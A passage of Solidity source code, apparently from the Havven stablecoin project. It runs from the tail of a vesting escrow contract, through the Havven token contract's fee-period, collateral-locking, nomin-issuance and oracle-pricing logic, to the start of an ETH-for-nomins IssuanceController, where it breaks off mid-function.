* @notice Destroy the vesting information associated with an account.
*/
function purgeAccount(address account)
external
onlyOwner
onlyDuringSetup
{
delete vestingSchedules[account];
totalVestedBalance = safeSub(totalVestedBalance, totalVestedAccountBalance[account]);
delete totalVestedAccountBalance[account];
}
/**
* @notice Add a new vesting entry at a given time and quantity to an account's schedule.
* @dev A call to this should be accompanied by either enough balance already available
* in this contract, or a corresponding call to havven.endow(), to ensure that when
* the funds are withdrawn, there is enough balance, as well as correctly calculating
* the fees.
* This may only be called by the owner during the contract's setup period.
* Note; although this function could technically be used to produce unbounded
* arrays, it's only in the foundation's command to add to these lists.
* @param account The account to append a new vesting entry to.
* @param time The absolute unix timestamp after which the vested quantity may be withdrawn.
* @param quantity The quantity of havvens that will vest.
*/
function appendVestingEntry(address account, uint time, uint quantity)
public
onlyOwner
onlyDuringSetup
{
/* No empty or already-passed vesting entries allowed. */
require(now < time, "Time must be in the future");
require(quantity != 0, "Quantity cannot be zero");
/* There must be enough balance in the contract to provide for the vesting entry. */
totalVestedBalance = safeAdd(totalVestedBalance, quantity);
require(totalVestedBalance <= havven.balanceOf(this), "Must be enough balance in the contract to provide for the vesting entry");
/* Disallow arbitrarily long vesting schedules in light of the gas limit. */
uint scheduleLength = vestingSchedules[account].length;
require(scheduleLength <= MAX_VESTING_ENTRIES, "Vesting schedule is too long");
if (scheduleLength == 0) {
totalVestedAccountBalance[account] = quantity;
} else {
/* Disallow adding new vested havvens earlier than the last one.
* Since entries are only appended, this means that no vesting date can be repeated. */
require(getVestingTime(account, numVestingEntries(account) - 1) < time, "Cannot add new vested entries earlier than the last one");
totalVestedAccountBalance[account] = safeAdd(totalVestedAccountBalance[account], quantity);
}
vestingSchedules[account].push([time, quantity]);
}
/**
* @notice Construct a vesting schedule to release a quantities of havvens
* over a series of intervals.
* @dev Assumes that the quantities are nonzero
* and that the sequence of timestamps is strictly increasing.
* This may only be called by the owner during the contract's setup period.
*/
function addVestingSchedule(address account, uint[] times, uint[] quantities)
external
onlyOwner
onlyDuringSetup
{
for (uint i = 0; i < times.length; i++) {
appendVestingEntry(account, times[i], quantities[i]);
}
}
/**
* @notice Allow a user to withdraw any havvens in their schedule that have vested.
*/
function vest()
external
{
uint numEntries = numVestingEntries(msg.sender);
uint total;
for (uint i = 0; i < numEntries; i++) {
uint time = getVestingTime(msg.sender, i);
/* The list is sorted; when we reach the first future time, bail out. */
if (time > now) {
break;
}
uint qty = getVestingQuantity(msg.sender, i);
if (qty == 0) {
continue;
}
vestingSchedules[msg.sender][i] = [0, 0];
total = safeAdd(total, qty);
}
if (total != 0) {
totalVestedBalance = safeSub(totalVestedBalance, total);
totalVestedAccountBalance[msg.sender] = safeSub(totalVestedAccountBalance[msg.sender], total);
havven.transfer(msg.sender, total);
emit Vested(msg.sender, now, total);
}
}
/* ========== EVENTS ========== */
event HavvenUpdated(address newHavven);
event Vested(address indexed beneficiary, uint time, uint value);
}
/*
-----------------------------------------------------------------
FILE INFORMATION
-----------------------------------------------------------------
file: Havven.sol
version: 1.2
author: Anton Jurisevic
Dominic Romanowski
date: 2018-05-15
-----------------------------------------------------------------
MODULE DESCRIPTION
-----------------------------------------------------------------
Havven token contract. Havvens are transferable ERC20 tokens,
and also give their holders the following privileges.
An owner of havvens may participate in nomin confiscation votes, they
may also have the right to issue nomins at the discretion of the
foundation for this version of the contract.
After a fee period terminates, the duration and fees collected for that
period are computed, and the next period begins. Thus an account may only
withdraw the fees owed to them for the previous period, and may only do
so once per period. Any unclaimed fees roll over into the common pot for
the next period.
== Average Balance Calculations ==
The fee entitlement of a havven holder is proportional to their average
issued nomin balance over the last fee period. This is computed by
measuring the area under the graph of a user's issued nomin balance over
time, and then when a new fee period begins, dividing through by the
duration of the fee period.
We need only update values when the balances of an account is modified.
This occurs when issuing or burning for issued nomin balances,
and when transferring for havven balances. This is for efficiency,
and adds an implicit friction to interacting with havvens.
A havven holder pays for his own recomputation whenever he wants to change
his position, which saves the foundation having to maintain a pot dedicated
to resourcing this.
A hypothetical user's balance history over one fee period, pictorially:
s ____
| |
| |___ p
|____|___|___ __ _ _
f t n
Here, the balance was s between times f and t, at which time a transfer
occurred, updating the balance to p, until n, when the present transfer occurs.
When a new transfer occurs at time n, the balance being p,
we must:
- Add the area p * (n - t) to the total area recorded so far
- Update the last transfer time to n
So if this graph represents the entire current fee period,
the average havvens held so far is ((t-f)*s + (n-t)*p) / (n-f).
The complementary computations must be performed for both sender and
recipient.
Note that a transfer keeps global supply of havvens invariant.
The sum of all balances is constant, and unmodified by any transfer.
So the sum of all balances multiplied by the duration of a fee period is also
constant, and this is equivalent to the sum of the area of every user's
time/balance graph. Dividing through by that duration yields back the total
havven supply. So, at the end of a fee period, we really do yield a user's
average share in the havven supply over that period.
A slight wrinkle is introduced if we consider the time r when the fee period
rolls over. Then the previous fee period k-1 is before r, and the current fee
period k is afterwards. If the last transfer took place before r,
but the latest transfer occurred afterwards:
k-1 | k
s __|_
| | |
| | |____ p
|__|_|____|___ __ _ _
|
f | t n
r
In this situation the area (r-f)*s contributes to fee period k-1, while
the area (t-r)*s contributes to fee period k. We will implicitly consider a
zero-value transfer to have occurred at time r. Their fee entitlement for the
previous period will be finalised at the time of their first transfer during the
current fee period, or when they query or withdraw their fee entitlement.
In the implementation, the duration of different fee periods may be slightly irregular,
as the check that they have rolled over occurs only when state-changing havven
operations are performed.
== Issuance and Burning ==
In this version of the havven contract, nomins can only be issued by
those that have been nominated by the havven foundation. Nomins are assumed
to be valued at $1, as they are a stable unit of account.
All nomins issued require a proportional value of havvens to be locked,
where the proportion is governed by the current issuance ratio. This
means for every $1 of Havvens locked up, $(issuanceRatio) nomins can be issued.
i.e. to issue 100 nomins, 100/issuanceRatio dollars of havvens need to be locked up.
To determine the value of some amount of havvens(H), an oracle is used to push
the price of havvens (P_H) in dollars to the contract. The value of H
would then be: H * P_H.
Any havvens that are locked up by this issuance process cannot be transferred.
The amount that is locked floats based on the price of havvens. If the price
of havvens moves up, less havvens are locked, so they can be issued against,
or transferred freely. If the price of havvens moves down, more havvens are locked,
even going above the initial wallet balance.
-----------------------------------------------------------------
*/
/**
* @title Havven ERC20 contract.
* @notice The Havven contracts does not only facilitate transfers and track balances,
* but it also computes the quantity of fees each havven holder is entitled to.
*/
contract Havven is ExternStateToken {
/* ========== STATE VARIABLES ========== */
/* A struct for handing values associated with average balance calculations */
struct IssuanceData {
/* Sums of balances*duration in the current fee period.
/* range: decimals; units: havven-seconds */
uint currentBalanceSum;
/* The last period's average balance */
uint lastAverageBalance;
/* The last time the data was calculated */
uint lastModified;
}
/* Issued nomin balances for individual fee entitlements */
mapping(address => IssuanceData) public issuanceData;
/* The total number of issued nomins for determining fee entitlements */
IssuanceData public totalIssuanceData;
/* The time the current fee period began */
uint public feePeriodStartTime;
/* The time the last fee period began */
uint public lastFeePeriodStartTime;
/* Fee periods will roll over in no shorter a time than this.
* The fee period cannot actually roll over until a fee-relevant
* operation such as withdrawal or a fee period duration update occurs,
* so this is just a target, and the actual duration may be slightly longer. */
uint public feePeriodDuration = 4 weeks;
/* ...and must target between 1 day and six months. */
uint constant MIN_FEE_PERIOD_DURATION = 1 days;
uint constant MAX_FEE_PERIOD_DURATION = 26 weeks;
/* The quantity of nomins that were in the fee pot at the time */
/* of the last fee rollover, at feePeriodStartTime. */
uint public lastFeesCollected;
/* Whether a user has withdrawn their last fees */
mapping(address => bool) public hasWithdrawnFees;
Nomin public nomin;
HavvenEscrow public escrow;
/* The address of the oracle which pushes the havven price to this contract */
address public oracle;
/* The price of havvens written in UNIT */
uint public price;
/* The time the havven price was last updated */
uint public lastPriceUpdateTime;
/* How long will the contract assume the price of havvens is correct */
uint public priceStalePeriod = 3 hours;
/* A quantity of nomins greater than this ratio
* may not be issued against a given value of havvens. */
uint public issuanceRatio = UNIT / 5;
/* No more nomins may be issued than the value of havvens backing them. */
uint constant MAX_ISSUANCE_RATIO = UNIT;
/* Whether the address can issue nomins or not. */
mapping(address => bool) public isIssuer;
/* The number of currently-outstanding nomins the user has issued. */
mapping(address => uint) public nominsIssued;
uint constant HAVVEN_SUPPLY = 1e8 * UNIT;
uint constant ORACLE_FUTURE_LIMIT = 10 minutes;
string constant TOKEN_NAME = "Havven";
string constant TOKEN_SYMBOL = "HAV";
/* ========== CONSTRUCTOR ========== */
/**
* @dev Constructor
* @param _tokenState A pre-populated contract containing token balances.
* If the provided address is 0x0, then a fresh one will be constructed with the contract owning all tokens.
* @param _owner The owner of this contract.
*/
constructor(address _proxy, TokenState _tokenState, address _owner, address _oracle,
uint _price, address[] _issuers, Havven _oldHavven)
ExternStateToken(_proxy, _tokenState, TOKEN_NAME, TOKEN_SYMBOL, HAVVEN_SUPPLY, _owner)
public
{
oracle = _oracle;
price = _price;
lastPriceUpdateTime = now;
uint i;
if (_oldHavven == address(0)) {
feePeriodStartTime = now;
lastFeePeriodStartTime = now - feePeriodDuration;
for (i = 0; i < _issuers.length; i++) {
isIssuer[_issuers[i]] = true;
}
} else {
feePeriodStartTime = _oldHavven.feePeriodStartTime();
lastFeePeriodStartTime = _oldHavven.lastFeePeriodStartTime();
uint cbs;
uint lab;
uint lm;
(cbs, lab, lm) = _oldHavven.totalIssuanceData();
totalIssuanceData.currentBalanceSum = cbs;
totalIssuanceData.lastAverageBalance = lab;
totalIssuanceData.lastModified = lm;
for (i = 0; i < _issuers.length; i++) {
address issuer = _issuers[i];
isIssuer[issuer] = true;
uint nomins = _oldHavven.nominsIssued(issuer);
if (nomins == 0) {
// It is not valid in general to skip those with no currently-issued nomins.
// But for this release, issuers with nonzero issuanceData have current issuance.
continue;
}
(cbs, lab, lm) = _oldHavven.issuanceData(issuer);
nominsIssued[issuer] = nomins;
issuanceData[issuer].currentBalanceSum = cbs;
issuanceData[issuer].lastAverageBalance = lab;
issuanceData[issuer].lastModified = lm;
}
}
}
/* ========== SETTERS ========== */
/**
* @notice Set the associated Nomin contract to collect fees from.
* @dev Only the contract owner may call this.
*/
function setNomin(Nomin _nomin)
external
optionalProxy_onlyOwner
{
nomin = _nomin;
emitNominUpdated(_nomin);
}
/**
* @notice Set the associated havven escrow contract.
* @dev Only the contract owner may call this.
*/
function setEscrow(HavvenEscrow _escrow)
external
optionalProxy_onlyOwner
{
escrow = _escrow;
emitEscrowUpdated(_escrow);
}
/**
* @notice Set the targeted fee period duration.
* @dev Only callable by the contract owner. The duration must fall within
* acceptable bounds (1 day to 26 weeks). Upon resetting this the fee period
* may roll over if the target duration was shortened sufficiently.
*/
function setFeePeriodDuration(uint duration)
external
optionalProxy_onlyOwner
{
require(MIN_FEE_PERIOD_DURATION <= duration && duration <= MAX_FEE_PERIOD_DURATION,
"Duration must be between MIN_FEE_PERIOD_DURATION and MAX_FEE_PERIOD_DURATION");
feePeriodDuration = duration;
emitFeePeriodDurationUpdated(duration);
rolloverFeePeriodIfElapsed();
}
/**
* @notice Set the Oracle that pushes the havven price to this contract
*/
function setOracle(address _oracle)
external
optionalProxy_onlyOwner
{
oracle = _oracle;
emitOracleUpdated(_oracle);
}
/**
* @notice Set the stale period on the updated havven price
* @dev No max/minimum, as changing it wont influence anything but issuance by the foundation
*/
function setPriceStalePeriod(uint time)
external
optionalProxy_onlyOwner
{
priceStalePeriod = time;
}
/**
* @notice Set the issuanceRatio for issuance calculations.
* @dev Only callable by the contract owner.
*/
function setIssuanceRatio(uint _issuanceRatio)
external
optionalProxy_onlyOwner
{
require(_issuanceRatio <= MAX_ISSUANCE_RATIO, "New issuance ratio must be less than or equal to MAX_ISSUANCE_RATIO");
issuanceRatio = _issuanceRatio;
emitIssuanceRatioUpdated(_issuanceRatio);
}
/**
* @notice Set whether the specified can issue nomins or not.
*/
function setIssuer(address account, bool value)
external
optionalProxy_onlyOwner
{
isIssuer[account] = value;
emitIssuersUpdated(account, value);
}
/* ========== VIEWS ========== */
function issuanceCurrentBalanceSum(address account)
external
view
returns (uint)
{
return issuanceData[account].currentBalanceSum;
}
function issuanceLastAverageBalance(address account)
external
view
returns (uint)
{
return issuanceData[account].lastAverageBalance;
}
function issuanceLastModified(address account)
external
view
returns (uint)
{
return issuanceData[account].lastModified;
}
function totalIssuanceCurrentBalanceSum()
external
view
returns (uint)
{
return totalIssuanceData.currentBalanceSum;
}
function totalIssuanceLastAverageBalance()
external
view
returns (uint)
{
return totalIssuanceData.lastAverageBalance;
}
function totalIssuanceLastModified()
external
view
returns (uint)
{
return totalIssuanceData.lastModified;
}
/* ========== MUTATIVE FUNCTIONS ========== */
/**
* @notice ERC20 transfer function.
*/
function transfer(address to, uint value)
public
optionalProxy
returns (bool)
{
address sender = messageSender;
require(nominsIssued[sender] == 0 || value <= transferableHavvens(sender), "Value to transfer exceeds available havvens");
/* Perform the transfer: if there is a problem,
* an exception will be thrown in this call. */
_transfer_byProxy(sender, to, value);
return true;
}
/**
* @notice ERC20 transferFrom function.
*/
function transferFrom(address from, address to, uint value)
public
optionalProxy
returns (bool)
{
address sender = messageSender;
require(nominsIssued[from] == 0 || value <= transferableHavvens(from), "Value to transfer exceeds available havvens");
/* Perform the transfer: if there is a problem,
* an exception will be thrown in this call. */
_transferFrom_byProxy(sender, from, to, value);
return true;
}
/**
* @notice Compute the last period's fee entitlement for the message sender
* and then deposit it into their nomin account.
*/
function withdrawFees()
external
optionalProxy
{
address sender = messageSender;
rolloverFeePeriodIfElapsed();
/* Do not deposit fees into frozen accounts. */
require(!nomin.frozen(sender), "Cannot deposit fees into frozen accounts");
/* Check the period has rolled over first. */
updateIssuanceData(sender, nominsIssued[sender], nomin.totalSupply());
/* Only allow accounts to withdraw fees once per period. */
require(!hasWithdrawnFees[sender], "Fees have already been withdrawn in this period");
uint feesOwed;
uint lastTotalIssued = totalIssuanceData.lastAverageBalance;
if (lastTotalIssued > 0) {
/* Sender receives a share of last period's collected fees proportional
* with their average fraction of the last period's issued nomins. */
feesOwed = safeDiv_dec(
safeMul_dec(issuanceData[sender].lastAverageBalance, lastFeesCollected),
lastTotalIssued
);
}
hasWithdrawnFees[sender] = true;
if (feesOwed != 0) {
nomin.withdrawFees(sender, feesOwed);
}
emitFeesWithdrawn(messageSender, feesOwed);
}
/**
* @notice Update the havven balance averages since the last transfer
* or entitlement adjustment.
* @dev Since this updates the last transfer timestamp, if invoked
* consecutively, this function will do nothing after the first call.
* Also, this will adjust the total issuance at the same time.
*/
function updateIssuanceData(address account, uint preBalance, uint lastTotalSupply)
internal
{
/* update the total balances first */
totalIssuanceData = computeIssuanceData(lastTotalSupply, totalIssuanceData);
if (issuanceData[account].lastModified < feePeriodStartTime) {
hasWithdrawnFees[account] = false;
}
issuanceData[account] = computeIssuanceData(preBalance, issuanceData[account]);
}
/**
* @notice Compute the new IssuanceData on the old balance
*/
function computeIssuanceData(uint preBalance, IssuanceData preIssuance)
internal
view
returns (IssuanceData)
{
uint currentBalanceSum = preIssuance.currentBalanceSum;
uint lastAverageBalance = preIssuance.lastAverageBalance;
uint lastModified = preIssuance.lastModified;
if (lastModified < feePeriodStartTime) {
if (lastModified < lastFeePeriodStartTime) {
/* The balance was last updated before the previous fee period, so the average
* balance in this period is their pre-transfer balance. */
lastAverageBalance = preBalance;
} else {
/* The balance was last updated during the previous fee period. */
/* No overflow or zero denominator problems, since lastFeePeriodStartTime < feePeriodStartTime < lastModified.
* implies these quantities are strictly positive. */
uint timeUpToRollover = feePeriodStartTime - lastModified;
uint lastFeePeriodDuration = feePeriodStartTime - lastFeePeriodStartTime;
uint lastBalanceSum = safeAdd(currentBalanceSum, safeMul(preBalance, timeUpToRollover));
lastAverageBalance = lastBalanceSum / lastFeePeriodDuration;
}
/* Roll over to the next fee period. */
currentBalanceSum = safeMul(preBalance, now - feePeriodStartTime);
} else {
/* The balance was last updated during the current fee period. */
currentBalanceSum = safeAdd(
currentBalanceSum,
safeMul(preBalance, now - lastModified)
);
}
return IssuanceData(currentBalanceSum, lastAverageBalance, now);
}
/**
* @notice Recompute and return the given account's last average balance.
*/
function recomputeLastAverageBalance(address account)
external
returns (uint)
{
updateIssuanceData(account, nominsIssued[account], nomin.totalSupply());
return issuanceData[account].lastAverageBalance;
}
/**
* @notice Issue nomins against the sender's havvens.
* @dev Issuance is only allowed if the havven price isn't stale and the sender is an issuer.
*/
function issueNomins(uint amount)
public
optionalProxy
requireIssuer(messageSender)
/* No need to check if price is stale, as it is checked in issuableNomins. */
{
address sender = messageSender;
require(amount <= remainingIssuableNomins(sender), "Amount must be less than or equal to remaining issuable nomins");
uint lastTot = nomin.totalSupply();
uint preIssued = nominsIssued[sender];
nomin.issue(sender, amount);
nominsIssued[sender] = safeAdd(preIssued, amount);
updateIssuanceData(sender, preIssued, lastTot);
}
function issueMaxNomins()
external
optionalProxy
{
issueNomins(remainingIssuableNomins(messageSender));
}
/**
* @notice Burn nomins to clear issued nomins/free havvens.
*/
function burnNomins(uint amount)
/* it doesn't matter if the price is stale or if the user is an issuer, as non-issuers have issued no nomins.*/
external
optionalProxy
{
address sender = messageSender;
uint lastTot = nomin.totalSupply();
uint preIssued = nominsIssued[sender];
/* nomin.burn does a safeSub on balance (so it will revert if there are not enough nomins). */
nomin.burn(sender, amount);
/* This safe sub ensures amount <= number issued */
nominsIssued[sender] = safeSub(preIssued, amount);
updateIssuanceData(sender, preIssued, lastTot);
}
/**
* @notice Check if the fee period has rolled over. If it has, set the new fee period start
* time, and record the fees collected in the nomin contract.
*/
function rolloverFeePeriodIfElapsed()
public
{
/* If the fee period has rolled over... */
if (now >= feePeriodStartTime + feePeriodDuration) {
lastFeesCollected = nomin.feePool();
lastFeePeriodStartTime = feePeriodStartTime;
feePeriodStartTime = now;
emitFeePeriodRollover(now);
}
}
/* ========== Issuance/Burning ========== */
/**
* @notice The maximum nomins an issuer can issue against their total havven quantity. This ignores any
* already issued nomins.
*/
function maxIssuableNomins(address issuer)
view
public
priceNotStale
returns (uint)
{
if (!isIssuer[issuer]) {
return 0;
}
if (escrow != HavvenEscrow(0)) {
uint totalOwnedHavvens = safeAdd(tokenState.balanceOf(issuer), escrow.balanceOf(issuer));
return safeMul_dec(HAVtoUSD(totalOwnedHavvens), issuanceRatio);
} else {
return safeMul_dec(HAVtoUSD(tokenState.balanceOf(issuer)), issuanceRatio);
}
}
/**
* @notice The remaining nomins an issuer can issue against their total havven quantity.
*/
function remainingIssuableNomins(address issuer)
view
public
returns (uint)
{
uint issued = nominsIssued[issuer];
uint max = maxIssuableNomins(issuer);
if (issued > max) {
return 0;
} else {
return safeSub(max, issued);
}
}
/**
* @notice The total havvens owned by this account, both escrowed and unescrowed,
* against which nomins can be issued.
* This includes those already being used as collateral (locked), and those
* available for further issuance (unlocked).
*/
function collateral(address account)
public
view
returns (uint)
{
uint bal = tokenState.balanceOf(account);
if (escrow != address(0)) {
bal = safeAdd(bal, escrow.balanceOf(account));
}
return bal;
}
/**
* @notice The collateral that would be locked by issuance, which can exceed the account's actual collateral.
*/
function issuanceDraft(address account)
public
view
returns (uint)
{
uint issued = nominsIssued[account];
if (issued == 0) {
return 0;
}
return USDtoHAV(safeDiv_dec(issued, issuanceRatio));
}
/**
* @notice Collateral that has been locked due to issuance, and cannot be
* transferred to other addresses. This is capped at the account's total collateral.
*/
function lockedCollateral(address account)
public
view
returns (uint)
{
uint debt = issuanceDraft(account);
uint collat = collateral(account);
if (debt > collat) {
return collat;
}
return debt;
}
/**
* @notice Collateral that is not locked and available for issuance.
*/
function unlockedCollateral(address account)
public
view
returns (uint)
{
uint locked = lockedCollateral(account);
uint collat = collateral(account);
return safeSub(collat, locked);
}
/**
* @notice The number of havvens that are free to be transferred by an account.
* @dev If they have enough available Havvens, it could be that
* their havvens are escrowed, however the transfer would then
* fail. This means that escrowed havvens are locked first,
* and then the actual transferable ones.
*/
function transferableHavvens(address account)
public
view
returns (uint)
{
uint draft = issuanceDraft(account);
uint collat = collateral(account);
// In the case where the issuanceDraft exceeds the collateral, nothing is free
if (draft > collat) {
return 0;
}
uint bal = balanceOf(account);
// In the case where the draft exceeds the escrow, but not the whole collateral
// return the fraction of the balance that remains free
if (draft > safeSub(collat, bal)) {
return safeSub(collat, draft);
}
// In the case where the draft doesn't exceed the escrow, return the entire balance
return bal;
}
/**
* @notice The value in USD for a given amount of HAV
*/
function HAVtoUSD(uint hav_dec)
public
view
priceNotStale
returns (uint)
{
return safeMul_dec(hav_dec, price);
}
/**
* @notice The value in HAV for a given amount of USD
*/
function USDtoHAV(uint usd_dec)
public
view
priceNotStale
returns (uint)
{
return safeDiv_dec(usd_dec, price);
}
/**
* @notice Access point for the oracle to update the price of havvens.
*/
function updatePrice(uint newPrice, uint timeSent)
external
onlyOracle /* Should be callable only by the oracle. */
{
/* Must be the most recently sent price, but not too far in the future.
* (so we can't lock ourselves out of updating the oracle for longer than this) */
require(lastPriceUpdateTime < timeSent && timeSent < now + ORACLE_FUTURE_LIMIT,
"Time sent must be bigger than the last update, and must be less than now + ORACLE_FUTURE_LIMIT");
price = newPrice;
lastPriceUpdateTime = timeSent;
emitPriceUpdated(newPrice, timeSent);
/* Check the fee period rollover within this as the price should be pushed every 15min. */
rolloverFeePeriodIfElapsed();
}
/**
* @notice Check if the price of havvens hasn't been updated for longer than the stale period.
*/
function priceIsStale()
public
view
returns (bool)
{
return safeAdd(lastPriceUpdateTime, priceStalePeriod) < now;
}
/* ========== MODIFIERS ========== */
modifier requireIssuer(address account)
{
require(isIssuer[account], "Must be issuer to perform this action");
_;
}
modifier onlyOracle
{
require(msg.sender == oracle, "Must be oracle to perform this action");
_;
}
modifier priceNotStale
{
require(!priceIsStale(), "Price must not be stale to perform this action");
_;
}
/* ========== EVENTS ========== */
event PriceUpdated(uint newPrice, uint timestamp);
bytes32 constant PRICEUPDATED_SIG = keccak256("PriceUpdated(uint256,uint256)");
function emitPriceUpdated(uint newPrice, uint timestamp) internal {
proxy._emit(abi.encode(newPrice, timestamp), 1, PRICEUPDATED_SIG, 0, 0, 0);
}
event IssuanceRatioUpdated(uint newRatio);
bytes32 constant ISSUANCERATIOUPDATED_SIG = keccak256("IssuanceRatioUpdated(uint256)");
function emitIssuanceRatioUpdated(uint newRatio) internal {
proxy._emit(abi.encode(newRatio), 1, ISSUANCERATIOUPDATED_SIG, 0, 0, 0);
}
event FeePeriodRollover(uint timestamp);
bytes32 constant FEEPERIODROLLOVER_SIG = keccak256("FeePeriodRollover(uint256)");
function emitFeePeriodRollover(uint timestamp) internal {
proxy._emit(abi.encode(timestamp), 1, FEEPERIODROLLOVER_SIG, 0, 0, 0);
}
event FeePeriodDurationUpdated(uint duration);
bytes32 constant FEEPERIODDURATIONUPDATED_SIG = keccak256("FeePeriodDurationUpdated(uint256)");
function emitFeePeriodDurationUpdated(uint duration) internal {
proxy._emit(abi.encode(duration), 1, FEEPERIODDURATIONUPDATED_SIG, 0, 0, 0);
}
event FeesWithdrawn(address indexed account, uint value);
bytes32 constant FEESWITHDRAWN_SIG = keccak256("FeesWithdrawn(address,uint256)");
function emitFeesWithdrawn(address account, uint value) internal {
proxy._emit(abi.encode(value), 2, FEESWITHDRAWN_SIG, bytes32(account), 0, 0);
}
event OracleUpdated(address newOracle);
bytes32 constant ORACLEUPDATED_SIG = keccak256("OracleUpdated(address)");
function emitOracleUpdated(address newOracle) internal {
proxy._emit(abi.encode(newOracle), 1, ORACLEUPDATED_SIG, 0, 0, 0);
}
event NominUpdated(address newNomin);
bytes32 constant NOMINUPDATED_SIG = keccak256("NominUpdated(address)");
function emitNominUpdated(address newNomin) internal {
proxy._emit(abi.encode(newNomin), 1, NOMINUPDATED_SIG, 0, 0, 0);
}
event EscrowUpdated(address newEscrow);
bytes32 constant ESCROWUPDATED_SIG = keccak256("EscrowUpdated(address)");
function emitEscrowUpdated(address newEscrow) internal {
proxy._emit(abi.encode(newEscrow), 1, ESCROWUPDATED_SIG, 0, 0, 0);
}
event IssuersUpdated(address indexed account, bool indexed value);
bytes32 constant ISSUERSUPDATED_SIG = keccak256("IssuersUpdated(address,bool)");
function emitIssuersUpdated(address account, bool value) internal {
proxy._emit(abi.encode(), 3, ISSUERSUPDATED_SIG, bytes32(account), bytes32(value ? 1 : 0), 0);
}
}
/*
-----------------------------------------------------------------
FILE INFORMATION -----------------------------------------------------------------
file: IssuanceController.sol
version: 2.0
author: Kevin Brown
date: 2018-07-18
-----------------------------------------------------------------
MODULE DESCRIPTION
-----------------------------------------------------------------
Issuance controller contract. The issuance controller provides
a way for users to acquire nomins (Nomin.sol) and havvens
(Havven.sol) by paying ETH and a way for users to acquire havvens
(Havven.sol) by paying nomins. Users can also deposit their nomins
and allow other users to purchase them with ETH. The ETH is sent
to the user who offered their nomins for sale.
This smart contract contains a balance of each currency, and
allows the owner of the contract (the Havven Foundation) to
manage the available balance of havven at their discretion, while
users are allowed to deposit and withdraw their own nomin deposits
if they have not yet been taken up by another user.
-----------------------------------------------------------------
*/
/**
* @title Issuance Controller Contract.
*/
contract IssuanceController is SafeDecimalMath, SelfDestructible, Pausable {
/* ========== STATE VARIABLES ========== */
Havven public havven;
Nomin public nomin;
// Address where the ether raised is transfered to
address public fundsWallet;
/* The address of the oracle which pushes the USD price havvens and ether to this contract */
address public oracle;
/* Do not allow the oracle to submit times any further forward into the future than
this constant. */
uint constant ORACLE_FUTURE_LIMIT = 10 minutes;
/* How long will the contract assume the price of any asset is correct */
uint public priceStalePeriod = 3 hours;
/* The time the prices were last updated */
uint public lastPriceUpdateTime;
/* The USD price of havvens denominated in UNIT */
uint public usdToHavPrice;
/* The USD price of ETH denominated in UNIT */
uint public usdToEthPrice;
/* ========== CONSTRUCTOR ========== */
/**
* @dev Constructor
* @param _owner The owner of this contract.
* @param _fundsWallet The recipient of ETH and Nomins that are sent to this contract while exchanging.
* @param _havven The Havven contract we'll interact with for balances and sending.
* @param _nomin The Nomin contract we'll interact with for balances and sending.
* @param _oracle The address which is able to update price information.
* @param _usdToEthPrice The current price of ETH in USD, expressed in UNIT.
* @param _usdToHavPrice The current price of Havven in USD, expressed in UNIT.
*/
constructor(
// Ownable
address _owner,
// Funds Wallet
address _fundsWallet,
// Other contracts needed
Havven _havven,
Nomin _nomin,
// Oracle values - Allows for price updates
address _oracle,
uint _usdToEthPrice,
uint _usdToHavPrice
)
/* Owned is initialised in SelfDestructible */
SelfDestructible(_owner)
Pausable(_owner)
public
{
fundsWallet = _fundsWallet;
havven = _havven;
nomin = _nomin;
oracle = _oracle;
usdToEthPrice = _usdToEthPrice;
usdToHavPrice = _usdToHavPrice;
lastPriceUpdateTime = now;
}
/* ========== SETTERS ========== */
/**
* @notice Set the funds wallet where ETH raised is held
* @param _fundsWallet The new address to forward ETH and Nomins to
*/
function setFundsWallet(address _fundsWallet)
external
onlyOwner
{
fundsWallet = _fundsWallet;
emit FundsWalletUpdated(fundsWallet);
}
/**
* @notice Set the Oracle that pushes the havven price to this contract
* @param _oracle The new oracle address
*/
function setOracle(address _oracle)
external
onlyOwner
{
oracle = _oracle;
emit OracleUpdated(oracle);
}
/**
* @notice Set the Nomin contract that the issuance controller uses to issue Nomins.
* @param _nomin The new nomin contract target
*/
function setNomin(Nomin _nomin)
external
onlyOwner
{
nomin = _nomin;
emit NominUpdated(_nomin);
}
/**
* @notice Set the Havven contract that the issuance controller uses to issue Havvens.
* @param _havven The new havven contract target
*/
function setHavven(Havven _havven)
external
onlyOwner
{
havven = _havven;
emit HavvenUpdated(_havven);
}
/**
* @notice Set the stale period on the updated price variables
* @param _time The new priceStalePeriod
*/
function setPriceStalePeriod(uint _time)
external
onlyOwner
{
priceStalePeriod = _time;
emit PriceStalePeriodUpdated(priceStalePeriod);
}
/* ========== MUTATIVE FUNCTIONS ========== */
/**
* @notice Access point for the oracle to update the prices of havvens / eth.
* @param newEthPrice The current price of ether in USD, specified to 18 decimal places.
* @param newHavvenPrice The current price of havvens in USD, specified to 18 decimal places.
* @param timeSent The timestamp from the oracle when the transaction was created. This ensures we don't consider stale prices as current in times of heavy network congestion.
*/
function updatePrices(uint newEthPrice, uint newHavvenPrice, uint timeSent)
external
onlyOracle
{
/* Must be the most recently sent price, but not too far in the future.
* (so we can't lock ourselves out of updating the oracle for longer than this) */
require(lastPriceUpdateTime < timeSent && timeSent < now + ORACLE_FUTURE_LIMIT,
"Time sent must be bigger than the last update, and must be less than now + ORACLE_FUTURE_LIMIT");
usdToEthPrice = newEthPrice;
usdToHavPrice = newHavvenPrice;
lastPriceUpdateTime = timeSent;
emit PricesUpdated(usdToEthPrice, usdToHavPrice, lastPriceUpdateTime);
}
/**
* @notice Fallback function (exchanges ETH to nUSD)
*/
function ()
external
payable
{
exchangeEtherForNomins();
}
/**
* @notice Exchange ETH to nUSD.
*/
function exchangeEtherForNomins()
public
payable
pricesNotStale
notPaused
returns (uint) // Returns the number of Nomins (nUSD) received
{
// The multiplication works here because usdToEthPrice is specified in
// 18 decimal places, just like our currency base.
uint requestedToPurchase = safeMul_dec(msg.value, usdToEthPrice);
// Store the ETH in our funds wallet
fundsWallet.transfer(msg.value);
// Send the nomins.
// Note: Fees are calculated by the Nomin contract, so when
// we request a specific transfer here, the fee is
// automatically deducted and sent to the fee pool.
nomin.transfer(msg.sender, requestedToPurchase);
emit Exchange("ETH", msg.value, "nUSD", requestedToPurchase);
return requestedToPurchase;
}
/**
* @notice Exchange ETH to nUSD while insisting on a particular rate. This allows a user to
* exchange while protecting against frontrunning by the contract owner on the exchange rate.
* @param guaranteedRate The exchange rate (ether price) which must be honored or the call will revert.
*/
function exchangeEtherForNominsAtRate(uint guaranteedRate)
public
payable
pricesNotStale
notPaused
returns (uint) // Returns the number of Nomins (nUSD) received
{
require(guaranteedRate == usdToEthPrice);
return exchangeEtherForNomins();
}
/**
* @notice Exchange ETH to HAV.
*/
function exchangeEtherForHavvens()
